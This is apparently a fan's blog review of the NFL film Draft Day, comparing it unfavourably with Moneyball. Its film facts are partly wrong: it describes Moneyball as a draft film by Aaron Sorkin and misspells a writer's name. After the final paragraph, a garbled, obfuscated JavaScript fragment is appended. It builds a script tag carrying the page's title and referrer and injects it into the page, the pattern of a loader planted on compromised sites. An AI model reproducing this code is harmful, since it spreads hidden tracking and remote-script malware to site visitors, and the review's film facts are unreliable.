In 2011 a film about the MLB Baseball draft was created by Aaron Sorkin. The film was nominated for six academy awards including best picture. It also got Jonah Hill his first Oscar nom. It wasn’t just a great film. It was a great baseball film.
I imagine that shortly after all the buzz around Moneyball some phone conversations happened behind the scenes of the NFL questioning why there was no film on the NFL draft. I also imagine, or at least I hope, someone called Aaron Sorkin to fix the problem but Sorkin wasn’t available. He was busy creating the best television series ever made. The Newsroom.
So sadly for the NFL, they had to deal with two unknown writers named Scott Rothsman and Rajiv Joseph to write the script for Draft Day.
Whether or not the NFL came to Rothsman and Joseph or vice versa, it doesn’t matter– anyway you spin it, this is the NFL’s movie. Every single frame, every single shot has the National Football League all over it. The NFL even had some control as to what scenes could not be in the film. Perhaps they should have focused a little more on what was missing, because unlike Moneyball, Draft Day is not a good sports film.
Draft Day is the story of the Cleveland Browns GM, Sonny Weaver, Jr., played by Kevin Costner (who has been in a good baseball film). Weaver navigates the tense negotiations of the upcoming NFL draft, while navigating his own personal problems– the recent death of his father. He also has a self imposed personal problem and useless plot point; his unwed, pregnant love interest Ali, played by Jennifer Garner.
Garner was on Late Night with Jimmy Fallon and told Jimmy that Draft Day is more of a chick flick than a sports movie. I suppose that she was pandering to women audiences to make them interested. If she really wants to cling on to that statement that would make the film at least fifty one percent completely unnecessary.
As a NFL fan Draft Day is exciting to watch. The editing is fantastic. The split screen/rotoscoping of the frames really immerse you in the action of the draft just like an episode of 24 but better. The imagery of the NFL stadiums is breathtaking and the throwback NFL films they use as B-roll is everything you would hope for from an NFL film.
But beautiful films and great direction mean nothing when a story is lacking. Having those elements only make the lack of story even more disappointing because the film is actually fun to watch. If there is one thing the late NFL Films founder Steve Sabol taught us about football is that the story is inherent within the game. All the elements of a great film on the NFL Draft are inherent within the NFL Draft.
Sonny says “No one can stop a ticking clock, but the great ones find a way to slow it down.” It’s too bad the writers didn’t take that advice and focus more energy on the ticking clock of the draft.
Draft Day is rated PG-13 for strong language, blasphemy and crude jokes. For a complete synopsis of the rating, check out Focus on the Families Plugged In. x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
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